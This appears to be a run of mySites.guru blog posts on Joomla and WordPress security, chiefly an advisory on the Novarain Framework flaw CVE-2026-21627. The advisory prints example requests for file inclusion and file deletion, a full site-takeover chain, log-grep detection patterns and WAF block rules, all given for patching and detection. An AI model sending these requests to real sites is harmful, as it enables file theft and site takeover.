CVE-2026-21630 is another high-impact endpoint vulnerability - SQL injection in the content API. That makes four of the six CVEs in this release targeting API or AJAX-adjacent attack surfaces.

How does mySites.guru help when vulnerabilities like these drop?

Every hour between a security release and your update is an hour your sites are exposed with a known, published vulnerability.

The mySites.guru dashboard shows every connected site's core version and extension versions at a glance. Filter by version to see exactly which sites need updating, without logging into each one individually.

Need to know which sites run a specific vulnerable extension? The extension search indexes every plugin and extension across your entire portfolio and groups results by version number. This is how we flagged 724 agencies running vulnerable Smart Slider 3 and 8,297 sites with the Novarain Framework within hours of disclosure.

Once you know what needs patching, the mass update tool pushes updates to all affected sites in a single operation. For agencies managing dozens or hundreds of sites, this turns a full day's work into a ten-minute task.

After updating, the security audit verifies each site by checking for modified core files, backdoors, and anything else that looks wrong. If a site was compromised before you could apply the patch, the audit catches the signs.

Not sure whether your sites are at risk? Run a free audit on any Joomla or WordPress site to get an immediate assessment.

What should agency owners do right now?

1. Update everything

If you run Joomla sites, update to 5.4.4 or 6.0.4 today. If you run WordPress sites, make sure Smart Slider 3 is on 3.5.1.34 or later. Check for the Astroid Framework (update to 3.3.13+) and the Novarain Framework (update to 6.0.38+) on your Joomla sites.

If you manage multiple sites, mySites.guru can push updates across your entire portfolio from a single dashboard.

Joomla 5.4.4 may break existing plugins

The com_ajax ACL fix in 5.4.4 blocks all unauthenticated admin AJAX requests by default. If you have extensions that use admin AJAX endpoints without a Joomla session (including extensions that had their own authentication via API keys or custom tokens), those extensions will stop working after the update. Extensions that never had any authentication will also stop working, which is the intended outcome. Check for broken functionality in your admin AJAX workflows after updating. Extension developers need to either add the #[AllowUnauthorizedAdministratorAccess] attribute to methods that legitimately need unauthenticated access, or ensure their handlers work within a valid Joomla admin session.

2. Audit your AJAX endpoints

Check what your extensions expose through com_ajax on Joomla or admin-ajax.php on WordPress. Look at which webservice endpoints are accessible and whether they are properly locked down. The mySites.guru security audit catches many of these issues, but manual review of your extension stack is also worthwhile for custom or niche extensions.

3. Remove what you don't use

Every installed extension is potential attack surface. If you have plugins or extensions you are not actively using, uninstall them. An extension you forgot about can still expose AJAX endpoints to the public internet.

4. Monitor for compromise

Set up real-time file change monitoring so you are alerted immediately if any watched files are modified. Run the suspect content scanner to check for backdoors that may have been installed before you patched, and learn how to read the flags it raises before acting on the results.

5. Keep watching

This pattern is not going away. Joomla 5.4.4 added authentication to com_ajax and WordPress already gates wp_ajax_ hooks behind a login check, but neither framework verifies authorization. That is still the developer's job. Every new extension that ships an AJAX handler without a capability check is a potential vulnerability, and the only fix is developer education.

Joomla's Compat Plugin Is a Crutch, Not a Fix

phil@mysites.guru (Phil Taylor) — Thu, 02 Apr 2026 00:00:00 GMT

Every major Joomla release ships with a backward compatibility plugin. It maps old, deprecated class names to their new equivalents so extensions that haven't been updated keep working. Most site owners leave it enabled and never think about it again.

The compat plugin is a safety net with an expiry date. Each version gets removed in the next major release. plg_behaviour_compat (the Joomla 4 compatibility layer) shipped with Joomla 5 and is completely gone in Joomla 6. If any of your extensions still rely on those old class names, your site breaks on upgrade with a fatal error and a white screen.

mySites.guru now tracks compat plugin status across all your connected sites. You can see at a glance which sites still have the compat layer enabled, and toggle it remotely to test readiness - without logging into each site individually.

What Do the Joomla Compat Plugins Actually Do?

There are two distinct plugins, each covering a different generation of deprecated code:

plg_behaviour_compat (Joomla 5 only, removed in Joomla 6)

This plugin provides class aliases for over 400 deprecated Joomla 4 class names. When an extension calls JPlugin, JTable, JFactory, JRegistry, JModelAdmin, or any of the other legacy names that have existed since Joomla 1.0, the compat plugin redirects those calls to the Joomla 5 namespaced equivalents. It also handles ES5 JavaScript asset fallbacks and removed asset compatibility.

It has three independently toggleable options:

classes_aliases - maps old class names to new ones (enabled by default). This one adds ~500+ PHP function calls per request and is the hardest to turn off safely.
es5_assets - loads ES5 fallback JavaScript (enabled by default). Over 1000 lines of JSON data per request. Safe to disable on most sites.
removed_asset - provides compatibility for removed JS/CSS assets (enabled by default). Minimal overhead (~15 lines of JSON). Also safe to disable.

plg_behaviour_compat6 (Joomla 5.4+, Joomla 6, Joomla 7)

This is the newer compat plugin, introduced in Joomla 5.4 to give developers time to prepare for Joomla 6. It specifically covers three things removed from the J6 core:

\Joomla\CMS\Input\* namespace (replaced by \Joomla\Input\* from the Framework)
\Joomla\CMS\Filesystem\* package (replaced by \Joomla\Filesystem\*)
The JPATH_PLATFORM constant (replaced by _JEXEC)

It has two options:

classes_aliases - maps deprecated class names (disabled by default)
legacy_classes - provides full legacy class implementations for Input, Filesystem, and Application (enabled by default)

On new Joomla 6 installations, this plugin is installed but disabled by default, on the assumption that fresh installs don't carry legacy code.

Same pattern as before: the compat plugin arrives one minor version before the major release and gets removed in the version after that.

Why Is the Joomla 5 Compat Plugin Called "compat6"?

The naming trips people up. The "6" in plg_behaviour_compat6 refers to the Joomla version it makes your code compatible with, not the version it runs on. It provides the deprecated J5 classes so your old code works on Joomla 6.

Same logic for the original: plg_behaviour_compat provides deprecated J4 classes so old code works on Joomla 5. There's no number because it was the first one.

Plugin name	Runs on	Provides	So your old code works on
`plg_behaviour_compat`	Joomla 5	J4 class aliases	Joomla 5
`plg_behaviour_compat6`	Joomla 5.4+, 6, 7	J5 class aliases	Joomla 6

Why Leaving the Compat Plugin Enabled Is Technical Debt

When the compat plugin is doing its job, everything looks fine. Your site works, your extensions work, nobody complains. But underneath, you're accumulating technical debt:

plg_behaviour_compat is gone in Joomla 6. If you upgrade to J6 with extensions that still need it, those extensions break immediately. The class doesn't exist anymore, full stop.

The sneaky part: because the compat plugin rewrites class references on the fly, there's no log entry or warning that an extension is using deprecated code. Everything passes the Joomla pre-update check. Everything looks ready for the next version. Then you upgrade and find out it wasn't.

Smaller extension developers often don't realise they have a problem either. They test on Joomla 5 with the compat plugin enabled (it's on by default), their extension works, they ship it, and nobody notices the dependency on deprecated classes until a client tries to run it on J6.

There's also a minor performance cost. The compat plugin runs on every request, loading class maps and checking aliases. Not huge, but unnecessary for extensions that have been properly updated.

Check Compat Plugin Status Across All Your Joomla Sites

We've added compat plugin tracking to the Joomla 6 Technical Requirements tool. The new Compat Plugin column shows the enabled/disabled state for every connected site at a glance:

Green "Disabled" means the compat plugin is off and your site runs without the compatibility layer
Yellow "Enabled" means the compat plugin is still active, so some extensions may depend on it
Grey "N/A" means the plugin doesn't apply to that Joomla version (e.g., J4 sites)

This is included in all mySites.guru subscriptions at no extra cost. Connect unlimited sites and check them all from one screen.

See compat plugin status for all your Joomla sites

Open Joomla 6 Compatibility Checker Open Joomla 5 Compatibility Checker

Colour-codes every connected Joomla site's PHP version, database version, update channel, and compat plugin status. You need to be logged in.

Toggle Compat Plugins Remotely from mySites.guru

Beyond the overview page, there are two standalone audit checks under Extension Information on each site's manage page:

Backward Compatibility Plugin (J4 Classes) - tracks plg_behaviour_compat on J5 sites
Backward Compatibility Plugin (J5 Classes) - tracks plg_behaviour_compat6 on J5.4+ and J6 sites

Both let you toggle the plugin on or off remotely. No need to log into the Joomla admin or touch the database. If you're testing J6 readiness across multiple client sites, you can disable the compat plugin, check what breaks, and re-enable it all from one place.

There's also a pivot page that shows the compat plugin status across every connected Joomla site on one screen, with toggle switches to enable or disable each one directly:

Warning

Disabling the compat plugin may crash your site if any extension still depends on deprecated classes. Always test on a staging copy first, or be prepared to re-enable it quickly using the same toggle.

How to Test Whether Your Extensions Need the Compat Plugin

The only reliable way to know is to disable it and see what breaks. Do this safely:

Make a staging copy of your site. Never test this on production first.
Disable the compat plugin from the Joomla admin (Extensions > Plugins > search for "compat") or remotely via mySites.guru's toggle.

Test every page and feature. Visit the frontend, the admin panel, and trigger any scheduled tasks or AJAX features. Check forms, search, and any custom functionality.
Check the error logs. The typical error is An error has occurred: 0 Class 'JPlugin' not found or similar with JTable, JFactory, JRegistry, etc. The class name in the error tells you exactly what deprecated API the extension is calling.
Identify the extension. The stack trace in the error log shows which extension file triggered the error. That extension needs updating. Tip: you may need to enable debug mode and set error reporting to Maximum in Joomla's Global Configuration first, otherwise you'll just see a generic error page. Also check if your template has a custom error.php file that hides the real error behind a visitor-friendly page. Temporarily rename or remove it while testing so Joomla's core error handler shows the raw stack trace instead.

If everything works with the plugin disabled, you're clear. If something crashes, you now know exactly which extensions need attention.

What to Do When an Extension Needs the Compat Layer

You've disabled the compat plugin, your site crashed, and the error log says Class 'JFactory' not found in a third-party extension. Now what?

If the extension has an update available, install it. Most actively maintained extensions were updated for Joomla 5 native compatibility years ago. Check the developer's site or the Joomla Extensions Directory.

If there's no update, contact the developer and point them to the Joomla migration documentation. The changes are usually straightforward, just replacing old class names with namespaced equivalents. JFactory becomes Joomla\CMS\Factory, JPlugin becomes Joomla\CMS\Plugin\CMSPlugin, and so on.

If the extension is abandoned, find an alternative. An extension that still uses Joomla 4 class names in 2026 is not being maintained, and you shouldn't depend on it for production. The manage all your extensions tool in mySites.guru can help you audit what's installed across your sites.

If it's your own custom code, update the class references yourself. The Joomla project maintains a complete mapping of old class names to new namespaced versions. Most replacements are a find-and-replace job.

How to Recover If Your Site Crashes After Disabling Compat

If you disabled the compat plugin on a live site (we said not to) and it's now showing a white screen, you have three ways to get it back:

Option 1: Use mySites.guru (Fastest)

If the site is still connected to mySites.guru, use the remote toggle in the audit tool to re-enable the plugin. The connector communicates directly with the database, so it works even when the Joomla frontend is down.

Option 2: Edit the Database Directly

Connect to your database with phpMyAdmin, Adminer, SSH, or your host's control panel (cPanel, Plesk, etc.):

UPDATE `#__extensions`
SET `enabled` = 1
WHERE `element` = 'compat'
  AND `folder` = 'behaviour';

For the Joomla 6 compat plugin (plg_behaviour_compat6):

UPDATE `#__extensions`
SET `enabled` = 1
WHERE `element` = 'compat6'
  AND `folder` = 'behaviour';

Replace #__ with your actual table prefix (usually jos_ or whatever you set during installation).

Option 3: Edit the configuration.php File (Emergency)

If you can't access the database at all, you can temporarily put Joomla into offline mode by editing configuration.php and setting $offline = true. This gives you access to the admin login page where you can re-enable the plugin. Change it back to false after.

You Must Disable `plg_behaviour_compat` Before Upgrading to Joomla 6

This is worth calling out separately: Joomla requires that you disable the compat plugin before upgrading from J5 to J6. Joomla 6.1 brought further changes to extension APIs, so the sooner you clear the compat dependency the smoother your upgrade path will be. If your site breaks when you disable it, that's Joomla telling you something isn't ready. Re-enable it, fix the incompatible extensions while still on J5, and then try the upgrade again.

Extensions that were commonly reported as needing the compat plugin (as of 2024, most have since been updated): Convert Forms / NRFramework (Tassos), Acymailing (Acyba), Dropfiles/Droppics (JoomUnited), LSCache (LiteSpeed), and Ecwid. If you're running any of these, make sure you're on the latest version before disabling.

The Joomla Compat Plugin Migration Timeline

The lifecycle of Joomla's compat plugins follows a predictable pattern:

Plugin	Introduced	Covers	Removed
`plg_behaviour_compat`	Joomla 5.0	Joomla 4 deprecated classes	Joomla 6.0
`plg_behaviour_compat6`	Joomla 5.4	Joomla 5 deprecated classes	Joomla 7 (expected)

If you're running Joomla 5 today with the compat plugin enabled, you have until your Joomla 6 upgrade to sort it out. If you're already on Joomla 6, the J4 compat layer is already gone - any extensions that needed it either broke during the upgrade or were updated beforehand.

For Joomla 6 sites, the plg_behaviour_compat6 plugin gives you a similar grace period for J5 deprecated classes until Joomla 7 arrives.

Joomla gives you one major version cycle to update your code. After that, the safety net disappears.

How to Prevent Accidental Joomla Version Jumps

While you're testing compat plugin readiness, make sure your production sites aren't set to accidentally upgrade to the next major version. The update channel controls which versions Joomla offers. Check out our guide on how to prevent accidental Joomla version jumps to lock your sites to the current series until you're ready.

You can also check the update channel status for all your sites on the same Joomla 6 Compatibility page that now shows compat plugin status.

Watch: Joomla Backward Compatibility Plugin Explained

Tim Davis from Basic Joomla Tutorials covered the backward compatibility plugin back in 2024, but the fundamentals haven't changed. If you prefer video over text, this is still a solid walkthrough of what the plugin does and why it matters:

Check out his full mySites.guru playlist on YouTube for more walkthroughs of the audit tools.

Novarain Framework Vulnerability: Check Your Joomla Sites for nrframework

phil@mysites.guru (Phil Taylor) — Mon, 30 Mar 2026 00:00:00 GMT

The Tassos/Novarain Framework (plg_system_nrframework) for Joomla has a critical vulnerability (CVE-2026-21627, CVSS 9.5) that allows unauthenticated attackers to include arbitrary PHP files, delete files, and perform SQL injection. A public exploit tool is already on GitHub.

Most Joomla administrators don't know this plugin is on their sites. It's a hidden dependency, installed automatically when you add any Tassos.gr extension like Convert Forms, EngageBox, or Google Structured Data. If you manage Joomla sites and you're not sure whether this affects you, run a free audit to find out.

Why are we writing about this now?

This CVE was reserved in January 2026 and publicly disclosed on 16 February. Tassos.gr patched it within days. That was six weeks ago. We're writing about it because 3,861 sites in our dataset - 46.5% of those running the Novarain Framework - are still on vulnerable versions as of 30 March 2026. The vendor did their job. The patch exists. But a patch nobody installs protects nobody, and a public exploit on GitHub means the window for automated attacks is wide open. If you manage Joomla sites with Tassos extensions and you haven't checked, this post is for you.

TL;DR

CVE-2026-21627 - CVSS 9.5 critical unauthenticated vulnerability in plg_system_nrframework versions 4.10.14 through 6.0.37
Attackers can include arbitrary PHP files, read files, delete files, and perform SQL injection through Joomla's com_ajax endpoint - no login required
Update to nrframework 6.0.38+ immediately via Tassos.gr downloads
Affects every Joomla site running Convert Forms, EngageBox, Google Structured Data, Advanced Custom Fields, or Smile Pack
A public exploit with multiple attack modes is available on GitHub
Already compromised? Updating alone won't undo the damage. Check for signs of compromise below

This vulnerability was disclosed on 16 February 2026 and patched the same week. That was six weeks ago. As of 30 March 2026, 46.5% of affected sites in our dataset are still running vulnerable versions. A weaponised exploit tool with multiple attack modes is on GitHub. If you haven't patched, your sites have been exposed for over a month.

To their credit, Tassos.gr responded quickly. They published a security advisory on 18 February 2026, two days after the SSD disclosure, and confirmed patched versions for every affected extension on both Joomla 3 and Joomla 4/5/6. They also noted they had "no evidence that this vulnerability has been exploited in the wild" at the time of their advisory. The vendor did their part. The problem is that six weeks later, nearly half the sites running their framework haven't applied the update.

What is the Novarain Framework?

The Novarain Framework (also called the Tassos Framework) is a shared library plugin for Joomla, distributed as plg_system_nrframework. It provides common functionality - AJAX handling, custom fields, form processing, geo-IP lookups - used by every extension in the Tassos.gr product suite.

Every extension in the suite bundles it:

Extension	What it does	JED ranking
Convert Forms	Form builder (contact, payment, registration)	#2 on JED
EngageBox	Popup and sticky bar builder	#6 on JED
Google Structured Data	Schema markup for SEO	#20 on JED
Advanced Custom Fields	Custom field types for Joomla	-
Smile Pack	UI enhancement toolkit	-
MailChimp Auto-Subscribe	Mailing list automation	-

These are popular, well-regarded extensions. Over 2.1 million downloads across the suite. The framework itself is installed silently as a dependency. You won't see "Novarain Framework" in any marketing material or installation wizard. It just appears in your plugin list as plg_system_nrframework.

And that's the problem. An admin installs Convert Forms to build a contact page. They don't realise they've also installed a system plugin with its own AJAX endpoint, file handling methods, and database query layer. When that framework has a critical vulnerability, they don't know to look for it.

How widespread is this?

We checked our own data. Across the tens of thousands of Joomla sites connected to mySites.guru:

Metric	Count	Percentage
Sites with nrframework installed	8,297
Sites on vulnerable versions (< 6.0.38)	3,861	46.5% of nrframework sites
Sites on patched versions (6.0.38+)	4,240	51.1% of nrframework sites

Nearly half of the sites running the Novarain Framework are still on vulnerable versions. That's 3,861 sites exposed to unauthenticated remote code execution, with a public exploit available.

The most common vulnerable version we see is 6.0.37 (328 sites), sitting just one version behind the fix. Sites on older branches like 5.0.x (404 sites on 5.0.88) and 4.x (375 sites on 4.6.23) are also exposed and may need a larger version jump to reach the patched release.

The version distribution tells a story about how Joomla extension updates actually work in practice. The largest single group (2,855 sites) is already on 6.0.68 - well past the fix. The second-largest group (1,018 sites) is on 6.0.62, also safe. These are sites with active Tassos.gr subscriptions and either automatic updates or attentive admins.

The vulnerable sites are a mix: some are on the 6.0.x branch but haven't updated since before the patch (the 328 sites on 6.0.37), some are on older major branches where the admin may not realise a security update is available (the 5.0.x and 4.x clusters), and some are on very old versions (58 sites still running 3.1.7) where the Tassos subscription likely expired years ago and updates simply aren't available.

That last group is the hardest to reach. They're running abandoned extension versions on potentially abandoned Joomla installations, and no amount of vendor patching will fix them. The only way to find and address those sites is to have a central inventory that flags outdated and vulnerable extensions automatically.

How to find sites with nrframework installed with mySites.guru

Finding affected sites, checking versions, scanning logs, auditing for compromise - that takes about 10 minutes per site when done manually. If you manage 50 Joomla sites, that's most of a working day. mySites.guru collapses that into minutes.

Find every affected site in seconds

mySites.guru tracks every installed extension on every connected site, including silent dependencies like nrframework. It's one of the core features of managing multiple Joomla sites from a single dashboard. Search for nrframework across your portfolio and you'll see which sites have it, which version they're running, and when it was last updated. That's how we pulled the statistics for this post: 8,297 sites with nrframework, version breakdown by site, all from a single query.

You don't need to log into each Joomla admin panel and search the extensions list manually. The inventory is always current. One URL gives you the complete list of every site running nrframework, broken down by version number, with the site's PHP version, Joomla version, and SSL status alongside it:

If you're already a mySites.guru subscriber, you can open this page right now:

View all your nrframework installations

Open nrframework Extension Search

Lists every version of plg_system_nrframework installed across all your connected sites, grouped by version number. You'll see which sites are still on vulnerable versions at a glance.

Every version of nrframework installed across connected sites is listed at the top. Below that, every individual site running the plugin, with its exact version. Vulnerable and patched versions are visible at a glance.

That turns a vulnerability announcement from a stressful afternoon of logging into admin panels into a five-minute triage. One page, the full picture of which clients are exposed, and patching can start immediately.

If you don't have a mySites.guru account yet, sign up for a free trial and connect your sites. The extension index builds automatically on the first audit.

Get alerted the day a CVE drops

When a CVE like this one is disclosed, mySites.guru cross-references it against the extension versions on your connected sites and flags every affected installation. You get an alert telling you exactly which sites need patching, rather than finding out weeks later (or from this blog post).

Spot uploaded PHP shells before the damage spreads

If an attacker exploits CVE-2026-21627 to upload a PHP shell to /images/ or /tmp/, mySites.guru's real-time file change alerting picks it up. You'll see which file was created, when, and on which site. That's the difference between finding a backdoor in minutes and discovering it months later when Google flags your site for serving malware.

Push the patch to every site at once

Once you've confirmed the patched version works on a test site, use the mass updater to push the Tassos extension update to every affected site in your portfolio simultaneously. One action, all sites patched, window of exposure closed.

Scan for backdoors if you were exposed

If any of your sites were running a vulnerable version during the six-week window since disclosure, run a security audit to scan for signs of exploitation. The audit checks for suspicious files, backdoors, and known hack signatures across the entire file system - the kind of artefacts an attacker leaves behind after chaining the file inclusion and SQL injection primitives in this vulnerability.

What does CVE-2026-21627 actually allow?

The vulnerability gives attackers three distinct capabilities, all without authentication:

1. Arbitrary PHP file inclusion

The ajaxTaskInclude() method in nrframework.php is whitelisted for frontend access via the $non_admin_tasks array. It accepts a path parameter with Joomla's RAW input filter, which means zero sanitisation. The concatenated path goes straight to @include_once.

An attacker sends a request like:

GET /?option=com_ajax&format=raw&plugin=nrframework&task=include&path=../../../some/file&class=TargetClass

This lets them include any PHP file on the server and instantiate any class that implements an onAjax method. Internal helper classes that were never meant to be publicly accessible become remotely reachable gadgets.

The key detail here is the $non_admin_tasks array. Joomla's com_ajax system is designed to let plugins handle AJAX requests from the frontend. The nrframework plugin explicitly lists include as a task that doesn't require admin authentication. That's a design decision in the plugin code, not a Joomla core weakness. The plugin chose to allow unauthenticated users to trigger file inclusion.

What makes this worse is the class parameter. After including a file, the plugin instantiates whatever class name the attacker specifies and calls its onAjax method. Joomla's codebase contains dozens of classes with onAjax methods, each one a potential gadget for the attacker to chain into further exploitation.

2. Arbitrary file read and file deletion

Two built-in classes provide file operations:

nrchainedfields - handles CSV loading for cascading select fields. By manipulating the file path, an attacker can read any file the web server user can access. Configuration files, database credentials, .htpasswd files - all readable.
nrinlinefileupload - provides an onRemove() method that deletes files at attacker-supplied paths without additional validation.

GET /?option=com_ajax&format=raw&plugin=nrframework&task=include&class=NRInlineFileUpload&action=remove&remove_file=/path/to/target

3. SQL injection

The ajaxify.php and componentitems.php classes pass attacker-controlled term parameters directly into database queries. This allows arbitrary table and column reads, including super-admin session tokens stored in Joomla's session table.

These classes are designed for dynamic field population, the kind of thing that powers a "search as you type" dropdown in a form. The term parameter is supposed to be a search string entered by a user filling out a Convert Forms field. Instead, an attacker can supply SQL fragments that get concatenated into the query without prepared statements or parameter binding.

With read access to the database, the attacker can pull the #__session table to find active super-admin sessions, extract user password hashes from #__users, or read any other data the database user has access to. (For more on why Joomla database security matters, see our dedicated guide.) On shared hosting where the database user often has broader permissions than it should, the blast radius can extend beyond the Joomla database itself.

The full attack chain

In practice, an attacker chains these together:

Read the Joomla configuration.php via the file-read primitive to get database credentials
Use SQL injection to extract super-admin session tokens from the session table
Hijack an admin session and log into /administrator
Upload a PHP shell through the template editor or extension installer
Delete log files and access evidence to cover tracks

That's complete site takeover. Shell access, full database control, and the ability to modify any file on the site.

The public exploit on GitHub includes multiple attack modes: file upload, file deletion, SQL injection, and automated session hijacking. This is not a theoretical vulnerability. The tooling to exploit it is freely available and trivial to run.

Which versions are vulnerable?

The vulnerability spans the entire Tassos extension suite. If you have any of these versions, you're exposed:

Extension	Vulnerable versions	Patched (Joomla 4/5/6)	Patched (Joomla 3)
Novarain/Tassos Framework (plg_system_nrframework)	4.10.14 - 6.0.37	6.0.62+	6.0.62+
Convert Forms	3.2.12 - 5.1.0	5.1.1+	4.4.11+
EngageBox	6.0.0 - 7.1.0	7.1.1+	6.3.9+
Google Structured Data	5.1.7 - 6.1.0	6.1.1+	5.6.9+
Advanced Custom Fields	2.2.0 - 3.1.0	3.1.1+	2.8.10+
Smile Pack	1.0.0 - 2.1.0	2.1.1+	1.2.4+
MailChimp Auto-Subscribe	(all unpatched)	5.1.1+	5.0.4+

These version numbers come from Tassos.gr's official security advisory, published 18 February 2026. The nrframework plugin contains the vulnerable code, but the parent extensions control which version of nrframework gets installed. Updating any one Tassos extension to a patched version will also update the shared framework across all their products.

How do you check if your site is affected?

Step 1: Find out if nrframework is installed

Log into your Joomla admin panel and go to System > Manage > Extensions. Search for nrframework.

If it appears, note the version number. Anything between 4.10.14 and 6.0.37 is vulnerable.

Alternatively, check via the filesystem. The plugin lives at:

plugins/system/nrframework/nrframework.php

If that file exists, the plugin is installed. Open it and look for the version string in the XML header, or check the corresponding nrframework.xml file in the same directory.

Step 2: Check for the parent extensions

Search your extensions list for:

Convert Forms (com_convertforms)
EngageBox (com_rstbox)
Google Structured Data (com_gsd)
Advanced Custom Fields (field plugins prefixed with acf)
Smile Pack

Any of these means nrframework is present. Even if you've disabled the parent extension, the framework plugin may still be enabled and reachable.

Step 3: Check your server logs

Look for requests targeting the vulnerability. The attack pattern is distinctive:

grep "option=com_ajax.*plugin=nrframework.*task=include" /var/log/apache2/access.log

Or for nginx:

grep "option=com_ajax.*plugin=nrframework.*task=include" /var/log/nginx/access.log

Any matches indicate scanning or exploitation attempts against your site.

How do you check if your site has been exploited?

If your site was running a vulnerable version of nrframework while it was publicly accessible, you should check for signs of compromise. Attackers using CVE-2026-21627 would leave traces in several places.

Use the mySites.guru security audit tools

A mySites.guru security audit runs over 50 file-level checks against the entire webspace. Several of these directly detect the artefacts an attacker would leave behind after exploiting CVE-2026-21627.

The Hacked? section of the audit flags suspect content, mailer scripts, file uploaders, and non-core files. If an attacker uploaded a PHP shell through the file inclusion primitive, the suspect content scanner will match it against 12 years of known backdoor signatures:

If the scan turns up a long list like the 182 suspect files above, telling confirmed hacked files apart from plain suspect flags is the fastest way to triage it.

The Files Information section goes deeper: recently modified files, hidden dot-files, PHP files in directories where they shouldn't be, files with 777 permissions, SQL dumps left in the webspace, and files modified between audits. If an attacker deleted logs or modified template files to inject code, these checks catch it:

Each check is clickable - you can drill into the individual files, see their contents, and compare against known-good hashes. This is what we built mySites.guru to do: turn a manual forensic process into something you can run across every site in your portfolio in minutes.

Manual checks (if you don't have mySites.guru)

If you're checking manually, here's what to look for:

Unauthorised admin accounts: Go to Users > Manage and look for admin accounts you don't recognise. Pay special attention to accounts created after 16 February 2026 (the public disclosure date). Attackers who extract session tokens via SQL injection may create persistent admin accounts as a fallback.

Unexpected PHP files: Search writable directories for recently created PHP files:

find /path/to/joomla -name "*.php" -newer /path/to/joomla/configuration.php -type f

Focus on /tmp/, /images/, /media/, /cache/, and /administrator/cache/. These are common drop locations for uploaded shells.

Modified template files: Attackers with admin access often inject code into index.php in your active template directory. Compare hashes against a clean copy:

find /path/to/joomla/templates -name "index.php" -exec md5sum {} \;

Any mismatch against a known-good installation warrants investigation.

Database tampering: If you suspect SQL injection was used, check:

#__session for sessions belonging to user IDs you don't recognise
#__users for accounts with Super User group membership that you didn't create
#__content (articles) for injected <script> tags, hidden iframes, or base64-encoded strings
#__extensions for plugins or components you didn't install, particularly anything with high ordering values (9999 is a common attacker pattern we've seen with the Astroid exploit too)

If you find evidence of compromise, updating nrframework alone won't help. You need a full cleanup: remove backdoors, revoke compromised sessions, change database credentials, and scan the entire file system. If your Joomla site has been hacked, our recovery guide walks through the process.

How do you fix it?

Option 1: Update through the Joomla admin panel

If your Tassos.gr subscription is active, updates are available through Joomla's built-in updater:

Go to System > Update > Extensions
Find the Tassos extensions in the update list
Update them all - the nrframework plugin will update automatically with the parent extension

Option 2: Download and install manually

Download the latest versions from Tassos.gr downloads and install them through System > Install > Extensions. The installer will overwrite the vulnerable files.

Option 3: Disable immediately if you can't update yet

If you can't update right now (expired subscription, compatibility concerns, testing required), disable the plugin as an interim measure:

Go to System > Manage > Plugins
Search for nrframework
Disable plg_system_nrframework

Disabling the plugin will break any functionality that depends on it. Convert Forms won't work. EngageBox popups won't appear. But a broken contact form is better than a compromised server. Disable, update properly during a maintenance window, then re-enable.

Uninstalling the parent extension doesn't always remove nrframework

If you've decided to remove Convert Forms, EngageBox, or another Tassos component entirely rather than update, check afterwards that plg_system_nrframework is actually gone. In some circumstances the framework plugin is left behind when the parent component is uninstalled, which means the vulnerable code path is still reachable and mySites.guru will keep flagging the site.

Go to System > Manage > Extensions, filter by nrframework, and if the plugin is still listed, uninstall it directly from there. Only once the plugin row has disappeared is the site clean.

WAF rules as a stopgap

If you have a Web Application Firewall (ModSecurity, Cloudflare WAF, or similar), you can block the attack vector at the server level:

# Block nrframework AJAX task=include requests
SecRule ARGS:plugin "nrframework" "id:100001,phase:1,deny,chain"
  SecRule ARGS:task "include"

This blocks the primary attack vector while leaving other com_ajax functionality intact. It's a temporary measure, not a replacement for patching.

For nginx, the equivalent rule:

# Block nrframework AJAX task=include requests
if ($args ~* "plugin=nrframework.*task=include") {
    return 403;
}

If you use Cloudflare, you can create a WAF custom rule that blocks requests where the URI query string contains both plugin=nrframework and task=include. This provides protection at the edge before the request ever reaches your server.

What about WordPress sites?

This vulnerability is Joomla-specific. The Tassos/Novarain Framework is a Joomla plugin and has no WordPress equivalent. If you manage a mixed portfolio of Joomla and WordPress sites, only the Joomla sites need checking for this particular issue.

That said, WordPress has its own share of critical plugin vulnerabilities this month. CVE-2026-1357 in WPvivid Backup (CVSS 9.8) affects 900,000+ sites with a similar unauthenticated RCE pattern. The common thread is the same: plugins that handle file operations with insufficient access controls.

If you manage both Joomla and WordPress sites, a single dashboard that covers both saves you from checking two separate ecosystems manually. When a critical CVE drops, the last thing you want is to be logging into 50 different admin panels across two different CMS platforms, checking extension versions one site at a time. That's how vulnerabilities stay unpatched for six weeks while a public exploit circulates on GitHub.

The pattern: AJAX endpoints without proper authorization

This is the third CMS plugin vulnerability we've written about in March 2026 where the root cause is the same: an AJAX endpoint that accepts requests it shouldn't. And as of today, even Joomla core is patching the same class of issue.

Novarain Framework (CVE-2026-21627) - Joomla's com_ajax endpoint routes requests to plg_system_nrframework, which whitelists the include task for unauthenticated users. No permission check at all.
Astroid Framework (CVE-2026-21628) - Joomla's AJAX handler validates the CSRF token but never checks if the user is logged in as an admin. Token from the public login page is enough.
Smart Slider 3 (CVE-2026-3098) - WordPress wp_ajax actions validate a nonce but don't check user capabilities. A subscriber account is enough to trigger the export function and read any file on the server.
Joomla core com_ajax (5.4.4 / 6.0.4) - Released March 31, 2026. Joomla itself needed ACL hardening on com_ajax. The framework that routes AJAX requests for every plugin in the ecosystem had the same authorization gap as the plugins built on top of it.
Elementor, Yoast SEO, WPForms, and Really Simple Security - Four major WordPress plugins patched critical vulnerabilities in March 2026. Not all AJAX-related, but part of the same broader pattern of plugin security failures happening simultaneously across the WordPress ecosystem.

The root cause is the same across all four: the AJAX handler authenticates the request (or doesn't even bother) but never authorises the action. A nonce proves someone is logged in. A CSRF token proves the request came from your site. Neither one proves the user has permission to do what they're asking.

Both Joomla and WordPress make it easy to register AJAX handlers. They don't make it easy to get the authorization right. Joomla's com_ajax routes requests to any system plugin with a matching task name, and it's up to the plugin to check permissions. WordPress's wp_ajax_{action} fires for any logged-in user by default - you have to explicitly add current_user_can() checks. In both cases, the framework provides the plumbing but not the guardrails. Joomla 5.4.4 and 6.0.4 shipping ACL hardening for com_ajax itself tells you how deep the problem goes - the routing layer that plugins depend on had the same gap.

If you develop Joomla extensions or WordPress plugins, treat every AJAX handler as a public endpoint until you've explicitly proven otherwise. Check capabilities, not just tokens. Four AJAX authorization failures in one month, across two CMS platforms and their core frameworks, should settle any debate about whether this is a priority.

It's the same hidden dependency problem we covered earlier. CVE-2026-21627 and CVE-2026-21628 both target framework plugins that admins don't know are installed. When those frameworks have vulnerable AJAX endpoints, nobody checks for updates because nobody knows the plugin is there.

Timeline

Date	Event
January 2026	CVE-2026-21627 reserved
16 February 2026	SSD Secure Disclosure publishes full vulnerability details
18 February 2026	Tassos.gr publishes security advisory and confirms patched versions
20 February 2026	CVE formally published and NVD entry created
26 February 2026	Public exploit tool with multiple attack modes published on GitHub
30 March 2026	3,861 of 8,297 affected mySites.guru sites (46.5%) remain unpatched

Credit: the vulnerability was discovered by researcher p1r0x working with SSD Secure Disclosure.

WordPress 7 Technical Requirements Check: Is Your Hosting Ready?

phil@mysites.guru (Phil Taylor) — Sat, 28 Mar 2026 00:00:00 GMT

Update (21 May 2026): WordPress 7.0 "Armstrong" has shipped.

